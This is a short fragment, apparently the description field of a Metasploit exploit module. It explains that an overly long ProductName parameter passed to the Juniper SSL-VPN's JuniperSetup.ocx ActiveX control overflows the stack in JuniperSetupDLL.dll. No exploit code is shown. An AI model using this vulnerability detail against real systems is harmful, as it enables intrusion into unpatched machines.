'Description' => %q{  
This module exploits a stack overflow in the JuniperSetupDLL.dll  
library which is called by the JuniperSetup.ocx ActiveX control,  
as part of the Juniper SSL-VPN (IVE) appliance. By specifying an  
overly long string to the ProductName object parameter, the stack  
is overwritten.
